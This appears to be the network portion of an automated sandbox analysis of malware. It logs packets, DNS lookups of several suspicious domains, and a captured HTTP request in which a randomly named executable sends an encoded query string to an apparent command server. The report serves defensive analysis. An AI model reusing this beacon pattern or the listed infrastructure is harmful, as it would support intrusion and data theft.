Nov 18, 2024 13:14:23.595905066 CET	53171	80	192.168.2.7	161.97.142.144
Nov 18, 2024 13:14:23.600886106 CET	80	53171	161.97.142.144	192.168.2.7
Nov 18, 2024 13:14:23.600900888 CET	80	53171	161.97.142.144	192.168.2.7
Nov 18, 2024 13:14:24.360114098 CET	80	53171	161.97.142.144	192.168.2.7
Nov 18, 2024 13:14:24.360138893 CET	80	53171	161.97.142.144	192.168.2.7
Nov 18, 2024 13:14:24.360270023 CET	53171	80	192.168.2.7	161.97.142.144
Nov 18, 2024 13:14:24.487016916 CET	80	53171	161.97.142.144	192.168.2.7
Nov 18, 2024 13:14:24.487075090 CET	53171	80	192.168.2.7	161.97.142.144
Nov 18, 2024 13:14:25.141534090 CET	53171	80	192.168.2.7	161.97.142.144
Nov 18, 2024 13:14:26.159890890 CET	53172	80	192.168.2.7	161.97.142.144
Nov 18, 2024 13:14:26.164864063 CET	80	53172	161.97.142.144	192.168.2.7
Nov 18, 2024 13:14:26.164983034 CET	53172	80	192.168.2.7	161.97.142.144
Nov 18, 2024 13:14:26.173993111 CET	53172	80	192.168.2.7	161.97.142.144
Nov 18, 2024 13:14:26.178828001 CET	80	53172	161.97.142.144	192.168.2.7
Nov 18, 2024 13:14:27.024132967 CET	80	53172	161.97.142.144	192.168.2.7
Nov 18, 2024 13:14:27.024188042 CET	80	53172	161.97.142.144	192.168.2.7
Nov 18, 2024 13:14:27.024202108 CET	80	53172	161.97.142.144	192.168.2.7
Nov 18, 2024 13:14:27.024295092 CET	53172	80	192.168.2.7	161.97.142.144
Nov 18, 2024 13:14:27.028852940 CET	80	53172	161.97.142.144	192.168.2.7
Nov 18, 2024 13:14:27.028924942 CET	53172	80	192.168.2.7	161.97.142.144
Nov 18, 2024 13:14:27.151259899 CET	80	53172	161.97.142.144	192.168.2.7
Nov 18, 2024 13:14:27.151459932 CET	53172	80	192.168.2.7	161.97.142.144
Nov 18, 2024 13:14:27.162761927 CET	53172	80	192.168.2.7	161.97.142.144
Nov 18, 2024 13:14:27.167831898 CET	80	53172	161.97.142.144	192.168.2.7
Nov 18, 2024 13:14:32.917845964 CET	53173	80	192.168.2.7	203.161.46.205
Nov 18, 2024 13:14:32.922977924 CET	80	53173	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:32.923063993 CET	53173	80	192.168.2.7	203.161.46.205
Nov 18, 2024 13:14:32.937556982 CET	53173	80	192.168.2.7	203.161.46.205
Nov 18, 2024 13:14:32.942584991 CET	80	53173	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:33.633407116 CET	80	53173	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:33.633471966 CET	80	53173	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:33.633524895 CET	80	53173	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:33.633606911 CET	53173	80	192.168.2.7	203.161.46.205
Nov 18, 2024 13:14:33.633620024 CET	80	53173	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:33.633661985 CET	80	53173	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:33.633729935 CET	53173	80	192.168.2.7	203.161.46.205
Nov 18, 2024 13:14:33.633774042 CET	80	53173	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:33.633810043 CET	80	53173	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:33.633856058 CET	53173	80	192.168.2.7	203.161.46.205
Nov 18, 2024 13:14:33.633913994 CET	80	53173	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:33.633948088 CET	80	53173	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:33.633977890 CET	53173	80	192.168.2.7	203.161.46.205
Nov 18, 2024 13:14:33.633981943 CET	80	53173	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:33.634044886 CET	53173	80	192.168.2.7	203.161.46.205
Nov 18, 2024 13:14:33.638559103 CET	80	53173	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:33.638622046 CET	80	53173	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:33.638675928 CET	80	53173	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:33.638712883 CET	80	53173	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:33.638725996 CET	53173	80	192.168.2.7	203.161.46.205
Nov 18, 2024 13:14:33.638794899 CET	53173	80	192.168.2.7	203.161.46.205
Nov 18, 2024 13:14:33.750575066 CET	80	53173	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:33.750627995 CET	80	53173	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:33.750670910 CET	53173	80	192.168.2.7	203.161.46.205
Nov 18, 2024 13:14:33.750686884 CET	80	53173	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:33.750730038 CET	53173	80	192.168.2.7	203.161.46.205
Nov 18, 2024 13:14:34.453802109 CET	53173	80	192.168.2.7	203.161.46.205
Nov 18, 2024 13:14:35.473624945 CET	53174	80	192.168.2.7	203.161.46.205
Nov 18, 2024 13:14:35.478662014 CET	80	53174	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:35.478749990 CET	53174	80	192.168.2.7	203.161.46.205
Nov 18, 2024 13:14:35.493324995 CET	53174	80	192.168.2.7	203.161.46.205
Nov 18, 2024 13:14:35.498300076 CET	80	53174	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:36.188283920 CET	80	53174	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:36.188317060 CET	80	53174	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:36.188334942 CET	80	53174	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:36.188422918 CET	80	53174	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:36.188441992 CET	53174	80	192.168.2.7	203.161.46.205
Nov 18, 2024 13:14:36.188481092 CET	53174	80	192.168.2.7	203.161.46.205
Nov 18, 2024 13:14:36.188502073 CET	80	53174	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:36.188515902 CET	80	53174	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:36.188532114 CET	80	53174	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:36.188548088 CET	80	53174	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:36.188554049 CET	53174	80	192.168.2.7	203.161.46.205
Nov 18, 2024 13:14:36.188601017 CET	53174	80	192.168.2.7	203.161.46.205
Nov 18, 2024 13:14:36.188635111 CET	80	53174	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:36.188648939 CET	80	53174	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:36.188723087 CET	53174	80	192.168.2.7	203.161.46.205
Nov 18, 2024 13:14:36.193459034 CET	80	53174	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:36.193545103 CET	80	53174	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:36.193563938 CET	80	53174	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:36.193614960 CET	53174	80	192.168.2.7	203.161.46.205
Nov 18, 2024 13:14:36.193639994 CET	80	53174	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:36.193701982 CET	53174	80	192.168.2.7	203.161.46.205
Nov 18, 2024 13:14:36.193773031 CET	80	53174	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:36.235073090 CET	53174	80	192.168.2.7	203.161.46.205
Nov 18, 2024 13:14:36.306143999 CET	80	53174	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:36.306169987 CET	80	53174	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:36.306191921 CET	80	53174	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:36.306263924 CET	53174	80	192.168.2.7	203.161.46.205
Nov 18, 2024 13:14:36.306319952 CET	53174	80	192.168.2.7	203.161.46.205
Nov 18, 2024 13:14:37.000734091 CET	53174	80	192.168.2.7	203.161.46.205
Nov 18, 2024 13:14:38.044984102 CET	53175	80	192.168.2.7	203.161.46.205
Nov 18, 2024 13:14:38.050030947 CET	80	53175	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:38.050139904 CET	53175	80	192.168.2.7	203.161.46.205
Nov 18, 2024 13:14:38.064846992 CET	53175	80	192.168.2.7	203.161.46.205
Nov 18, 2024 13:14:38.069931030 CET	80	53175	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:38.069946051 CET	80	53175	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:38.756336927 CET	80	53175	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:38.756401062 CET	80	53175	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:38.756418943 CET	80	53175	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:38.756437063 CET	80	53175	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:38.756479025 CET	53175	80	192.168.2.7	203.161.46.205
Nov 18, 2024 13:14:38.756479025 CET	53175	80	192.168.2.7	203.161.46.205
Nov 18, 2024 13:14:38.756499052 CET	80	53175	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:38.756515026 CET	80	53175	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:38.756531954 CET	80	53175	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:38.756551027 CET	80	53175	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:38.756570101 CET	53175	80	192.168.2.7	203.161.46.205
Nov 18, 2024 13:14:38.756597996 CET	53175	80	192.168.2.7	203.161.46.205
Nov 18, 2024 13:14:38.756772041 CET	80	53175	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:38.756789923 CET	80	53175	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:38.756831884 CET	53175	80	192.168.2.7	203.161.46.205
Nov 18, 2024 13:14:38.761657953 CET	80	53175	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:38.761682034 CET	80	53175	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:38.761701107 CET	80	53175	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:38.761742115 CET	53175	80	192.168.2.7	203.161.46.205
Nov 18, 2024 13:14:38.761754990 CET	80	53175	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:38.761831045 CET	53175	80	192.168.2.7	203.161.46.205
Nov 18, 2024 13:14:38.873296976 CET	80	53175	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:38.873349905 CET	80	53175	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:38.873394012 CET	80	53175	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:38.873466015 CET	53175	80	192.168.2.7	203.161.46.205
Nov 18, 2024 13:14:39.578811884 CET	53175	80	192.168.2.7	203.161.46.205
Nov 18, 2024 13:14:40.597158909 CET	53176	80	192.168.2.7	203.161.46.205
Nov 18, 2024 13:14:40.602107048 CET	80	53176	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:40.602225065 CET	53176	80	192.168.2.7	203.161.46.205
Nov 18, 2024 13:14:40.610688925 CET	53176	80	192.168.2.7	203.161.46.205
Nov 18, 2024 13:14:40.615540028 CET	80	53176	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:41.324331045 CET	80	53176	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:41.324358940 CET	80	53176	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:41.324373960 CET	80	53176	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:41.324492931 CET	53176	80	192.168.2.7	203.161.46.205
Nov 18, 2024 13:14:41.324507952 CET	80	53176	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:41.324538946 CET	80	53176	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:41.324553013 CET	80	53176	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:41.324565887 CET	80	53176	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:41.324614048 CET	53176	80	192.168.2.7	203.161.46.205
Nov 18, 2024 13:14:41.324793100 CET	80	53176	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:41.324806929 CET	80	53176	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:41.324815035 CET	53176	80	192.168.2.7	203.161.46.205
Nov 18, 2024 13:14:41.324820995 CET	80	53176	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:41.324841976 CET	53176	80	192.168.2.7	203.161.46.205
Nov 18, 2024 13:14:41.324867964 CET	53176	80	192.168.2.7	203.161.46.205
Nov 18, 2024 13:14:41.329731941 CET	80	53176	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:41.329997063 CET	80	53176	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:41.330009937 CET	80	53176	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:41.330054045 CET	53176	80	192.168.2.7	203.161.46.205
Nov 18, 2024 13:14:41.375638008 CET	53176	80	192.168.2.7	203.161.46.205
Nov 18, 2024 13:14:41.442893028 CET	80	53176	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:41.443298101 CET	80	53176	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:41.443310976 CET	80	53176	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:41.443470001 CET	53176	80	192.168.2.7	203.161.46.205
Nov 18, 2024 13:14:41.443470955 CET	53176	80	192.168.2.7	203.161.46.205
Nov 18, 2024 13:14:41.479274988 CET	53176	80	192.168.2.7	203.161.46.205
Nov 18, 2024 13:14:41.484229088 CET	80	53176	203.161.46.205	192.168.2.7
Nov 18, 2024 13:14:47.566432953 CET	53177	80	192.168.2.7	20.2.36.112
Nov 18, 2024 13:14:47.571290016 CET	80	53177	20.2.36.112	192.168.2.7
Nov 18, 2024 13:14:47.571377039 CET	53177	80	192.168.2.7	20.2.36.112
Nov 18, 2024 13:14:47.588737011 CET	53177	80	192.168.2.7	20.2.36.112
Nov 18, 2024 13:14:47.594852924 CET	80	53177	20.2.36.112	192.168.2.7
Nov 18, 2024 13:14:48.539200068 CET	80	53177	20.2.36.112	192.168.2.7
Nov 18, 2024 13:14:48.594377041 CET	53177	80	192.168.2.7	20.2.36.112
Nov 18, 2024 13:14:48.712409973 CET	80	53177	20.2.36.112	192.168.2.7
Nov 18, 2024 13:14:48.712469101 CET	53177	80	192.168.2.7	20.2.36.112
Nov 18, 2024 13:14:49.094593048 CET	53177	80	192.168.2.7	20.2.36.112
Nov 18, 2024 13:14:50.114340067 CET	53178	80	192.168.2.7	20.2.36.112
Nov 18, 2024 13:14:50.119262934 CET	80	53178	20.2.36.112	192.168.2.7
Nov 18, 2024 13:14:50.119369030 CET	53178	80	192.168.2.7	20.2.36.112
Nov 18, 2024 13:14:50.135369062 CET	53178	80	192.168.2.7	20.2.36.112
Nov 18, 2024 13:14:50.140549898 CET	80	53178	20.2.36.112	192.168.2.7
Nov 18, 2024 13:14:51.087090015 CET	80	53178	20.2.36.112	192.168.2.7
Nov 18, 2024 13:14:51.141237020 CET	53178	80	192.168.2.7	20.2.36.112
Nov 18, 2024 13:14:51.270575047 CET	80	53178	20.2.36.112	192.168.2.7
Nov 18, 2024 13:14:51.270694017 CET	53178	80	192.168.2.7	20.2.36.112
Nov 18, 2024 13:14:51.641465902 CET	53178	80	192.168.2.7	20.2.36.112
Nov 18, 2024 13:14:52.660985947 CET	53179	80	192.168.2.7	20.2.36.112
Nov 18, 2024 13:14:52.665791988 CET	80	53179	20.2.36.112	192.168.2.7
Nov 18, 2024 13:14:52.665941000 CET	53179	80	192.168.2.7	20.2.36.112
Nov 18, 2024 13:14:52.689707994 CET	53179	80	192.168.2.7	20.2.36.112
Nov 18, 2024 13:14:52.694529057 CET	80	53179	20.2.36.112	192.168.2.7
Nov 18, 2024 13:14:52.694641113 CET	80	53179	20.2.36.112	192.168.2.7
Nov 18, 2024 13:14:53.614986897 CET	80	53179	20.2.36.112	192.168.2.7
Nov 18, 2024 13:14:53.656857014 CET	53179	80	192.168.2.7	20.2.36.112
Nov 18, 2024 13:14:53.794075012 CET	80	53179	20.2.36.112	192.168.2.7
Nov 18, 2024 13:14:53.794166088 CET	53179	80	192.168.2.7	20.2.36.112
Nov 18, 2024 13:14:54.206581116 CET	53179	80	192.168.2.7	20.2.36.112
Nov 18, 2024 13:14:55.223345041 CET	53180	80	192.168.2.7	20.2.36.112
Nov 18, 2024 13:14:55.228281975 CET	80	53180	20.2.36.112	192.168.2.7
Nov 18, 2024 13:14:55.228373051 CET	53180	80	192.168.2.7	20.2.36.112
Nov 18, 2024 13:14:55.238636017 CET	53180	80	192.168.2.7	20.2.36.112
Nov 18, 2024 13:14:55.243562937 CET	80	53180	20.2.36.112	192.168.2.7
Nov 18, 2024 13:14:56.188889027 CET	80	53180	20.2.36.112	192.168.2.7
Nov 18, 2024 13:14:56.235003948 CET	53180	80	192.168.2.7	20.2.36.112
Nov 18, 2024 13:14:56.369296074 CET	80	53180	20.2.36.112	192.168.2.7
Nov 18, 2024 13:14:56.369416952 CET	53180	80	192.168.2.7	20.2.36.112
Nov 18, 2024 13:14:56.370619059 CET	53180	80	192.168.2.7	20.2.36.112
Nov 18, 2024 13:14:56.375508070 CET	80	53180	20.2.36.112	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 18, 2024 13:12:29.038666010 CET	53	54314	162.159.36.2	192.168.2.7
Nov 18, 2024 13:12:29.703105927 CET	51797	53	192.168.2.7	1.1.1.1
Nov 18, 2024 13:12:29.710988045 CET	53	51797	1.1.1.1	192.168.2.7
Nov 18, 2024 13:12:46.355175018 CET	61434	53	192.168.2.7	1.1.1.1
Nov 18, 2024 13:12:46.398941994 CET	53	61434	1.1.1.1	192.168.2.7
Nov 18, 2024 13:12:51.412318945 CET	51151	53	192.168.2.7	1.1.1.1
Nov 18, 2024 13:12:52.408298969 CET	53	51151	1.1.1.1	192.168.2.7
Nov 18, 2024 13:13:08.691484928 CET	61371	53	192.168.2.7	1.1.1.1
Nov 18, 2024 13:13:08.738291025 CET	53	61371	1.1.1.1	192.168.2.7
Nov 18, 2024 13:13:22.142508030 CET	62338	53	192.168.2.7	1.1.1.1
Nov 18, 2024 13:13:22.166404963 CET	53	62338	1.1.1.1	192.168.2.7
Nov 18, 2024 13:13:36.662897110 CET	63041	53	192.168.2.7	1.1.1.1
Nov 18, 2024 13:13:36.702223063 CET	53	63041	1.1.1.1	192.168.2.7
Nov 18, 2024 13:13:50.066555977 CET	60934	53	192.168.2.7	1.1.1.1
Nov 18, 2024 13:13:50.549628019 CET	53	60934	1.1.1.1	192.168.2.7
Nov 18, 2024 13:14:04.113531113 CET	53336	53	192.168.2.7	1.1.1.1
Nov 18, 2024 13:14:04.154090881 CET	53	53336	1.1.1.1	192.168.2.7
Nov 18, 2024 13:14:18.207160950 CET	61691	53	192.168.2.7	1.1.1.1
Nov 18, 2024 13:14:18.274432898 CET	53	61691	1.1.1.1	192.168.2.7
Nov 18, 2024 13:14:32.203596115 CET	58080	53	192.168.2.7	1.1.1.1
Nov 18, 2024 13:14:32.911565065 CET	53	58080	1.1.1.1	192.168.2.7
Nov 18, 2024 13:14:46.488929033 CET	52491	53	192.168.2.7	1.1.1.1
Nov 18, 2024 13:14:47.500874043 CET	52491	53	192.168.2.7	1.1.1.1
Nov 18, 2024 13:14:47.563998938 CET	53	52491	1.1.1.1	192.168.2.7
Nov 18, 2024 13:14:47.564030886 CET	53	52491	1.1.1.1	192.168.2.7
Nov 18, 2024 13:15:02.144870043 CET	55845	53	192.168.2.7	1.1.1.1
Nov 18, 2024 13:15:03.156964064 CET	55845	53	192.168.2.7	1.1.1.1
Nov 18, 2024 13:15:04.172602892 CET	55845	53	192.168.2.7	1.1.1.1
Nov 18, 2024 13:15:04.334398985 CET	53	55845	1.1.1.1	192.168.2.7
Nov 18, 2024 13:15:04.334430933 CET	53	55845	1.1.1.1	192.168.2.7
Nov 18, 2024 13:15:04.334440947 CET	53	55845	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 18, 2024 13:12:29.703105927 CET	192.168.2.7	1.1.1.1	0x2ec7	Standard query (0)	15.164.165.52.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Nov 18, 2024 13:12:46.355175018 CET	192.168.2.7	1.1.1.1	0x150e	Standard query (0)	www.uynline.shop	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:12:51.412318945 CET	192.168.2.7	1.1.1.1	0xc511	Standard query (0)	www.ytsd88.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:13:08.691484928 CET	192.168.2.7	1.1.1.1	0xbee3	Standard query (0)	www.egyshare.xyz	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:13:22.142508030 CET	192.168.2.7	1.1.1.1	0x4cae	Standard query (0)	www.bionanosolutions.info	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:13:36.662897110 CET	192.168.2.7	1.1.1.1	0xd3ea	Standard query (0)	www.tals.xyz	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:13:50.066555977 CET	192.168.2.7	1.1.1.1	0x4f74	Standard query (0)	www.cssa.auction	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:14:04.113531113 CET	192.168.2.7	1.1.1.1	0x235a	Standard query (0)	www.acc888ommodate.xyz	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:14:18.207160950 CET	192.168.2.7	1.1.1.1	0x3c1a	Standard query (0)	www.070002018.xyz	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:14:32.203596115 CET	192.168.2.7	1.1.1.1	0x9194	Standard query (0)	www.startvin.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:14:46.488929033 CET	192.168.2.7	1.1.1.1	0xf635	Standard query (0)	www.mdpc7.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:14:47.500874043 CET	192.168.2.7	1.1.1.1	0xf635	Standard query (0)	www.mdpc7.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:15:02.144870043 CET	192.168.2.7	1.1.1.1	0x4b25	Standard query (0)	www.phoenix88.sbs	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:15:03.156964064 CET	192.168.2.7	1.1.1.1	0x4b25	Standard query (0)	www.phoenix88.sbs	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:15:04.172602892 CET	192.168.2.7	1.1.1.1	0x4b25	Standard query (0)	www.phoenix88.sbs	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 18, 2024 13:12:29.710988045 CET	1.1.1.1	192.168.2.7	0x2ec7	Name error (3)	15.164.165.52.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Nov 18, 2024 13:12:46.398941994 CET	1.1.1.1	192.168.2.7	0x150e	No error (0)	www.uynline.shop	uynline.shop		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:12:52.408298969 CET	1.1.1.1	192.168.2.7	0xc511	No error (0)	www.ytsd88.top		47.76.213.197	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:13:08.738291025 CET	1.1.1.1	192.168.2.7	0xbee3	No error (0)	www.egyshare.xyz		13.248.169.48	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:13:08.738291025 CET	1.1.1.1	192.168.2.7	0xbee3	No error (0)	www.egyshare.xyz		76.223.54.146	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:13:22.166404963 CET	1.1.1.1	192.168.2.7	0x4cae	No error (0)	www.bionanosolutions.info		176.117.73.104	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:13:36.702223063 CET	1.1.1.1	192.168.2.7	0xd3ea	No error (0)	www.tals.xyz		13.248.169.48	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:13:36.702223063 CET	1.1.1.1	192.168.2.7	0xd3ea	No error (0)	www.tals.xyz		76.223.54.146	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:13:50.549628019 CET	1.1.1.1	192.168.2.7	0x4f74	No error (0)	www.cssa.auction	cssa.auction		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:13:50.549628019 CET	1.1.1.1	192.168.2.7	0x4f74	No error (0)	cssa.auction		107.167.84.42	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:14:04.154090881 CET	1.1.1.1	192.168.2.7	0x235a	No error (0)	www.acc888ommodate.xyz		176.32.38.130	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:14:18.274432898 CET	1.1.1.1	192.168.2.7	0x3c1a	No error (0)	www.070002018.xyz		161.97.142.144	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:14:32.911565065 CET	1.1.1.1	192.168.2.7	0x9194	No error (0)	www.startvin.top		203.161.46.205	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:14:47.563998938 CET	1.1.1.1	192.168.2.7	0xf635	No error (0)	www.mdpc7.top	mmd.dnsmmd.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:14:47.563998938 CET	1.1.1.1	192.168.2.7	0xf635	No error (0)	mmd.dnsmmd.com		20.2.36.112	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:14:47.563998938 CET	1.1.1.1	192.168.2.7	0xf635	No error (0)	mmd.dnsmmd.com		20.2.113.172	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:14:47.564030886 CET	1.1.1.1	192.168.2.7	0xf635	No error (0)	www.mdpc7.top	mmd.dnsmmd.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:14:47.564030886 CET	1.1.1.1	192.168.2.7	0xf635	No error (0)	mmd.dnsmmd.com		20.2.36.112	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:14:47.564030886 CET	1.1.1.1	192.168.2.7	0xf635	No error (0)	mmd.dnsmmd.com		20.2.113.172	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:15:04.334398985 CET	1.1.1.1	192.168.2.7	0x4b25	No error (0)	www.phoenix88.sbs	phoenix88.sbs		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:15:04.334398985 CET	1.1.1.1	192.168.2.7	0x4b25	No error (0)	phoenix88.sbs		88.99.61.52	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:15:04.334430933 CET	1.1.1.1	192.168.2.7	0x4b25	No error (0)	www.phoenix88.sbs	phoenix88.sbs		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:15:04.334430933 CET	1.1.1.1	192.168.2.7	0x4b25	No error (0)	phoenix88.sbs		88.99.61.52	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:15:04.334440947 CET	1.1.1.1	192.168.2.7	0x4b25	No error (0)	www.phoenix88.sbs	phoenix88.sbs		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:15:04.334440947 CET	1.1.1.1	192.168.2.7	0x4b25	No error (0)	phoenix88.sbs		88.99.61.52	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.ytsd88.top

www.egyshare.xyz

www.bionanosolutions.info

www.tals.xyz

www.cssa.auction

www.acc888ommodate.xyz

www.070002018.xyz

www.startvin.top

www.mdpc7.top

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	53115	47.76.213.197	80	3736	C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:12:52.512556076 CET	539	OUT	GET /yysf/?0PIXBf9=6v+kdCMiu5/5470MX9lzQyj8/+WeB1VHD3zgv43+rVSd7gkLKIFyovo7JjBoxgRqvXZx1v1SEu244MoSpwzCrGiBlqOxipli+BYTnOI67OOyvHeuq/FHXkVErKkJ9HuzEweZBdUTs+cq&tD_=f00xUVKh HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close Host: www.ytsd88.top User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
Nov 18, 2024 13:12:53.441814899 CET	574	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 18 Nov 2024 12:12:53 GMT Content-Type: text/html Content-Length: 409 Connection: close ETag: "66d016cf-199" Data Raw: 3c 68 74 6d 6c 3e 0a 3c 73 74 79 6c 65 3e 0a 09 2e 62 74 6c 69 6e 6b 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 32 30 61 35 33 61 3b 0a 09 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 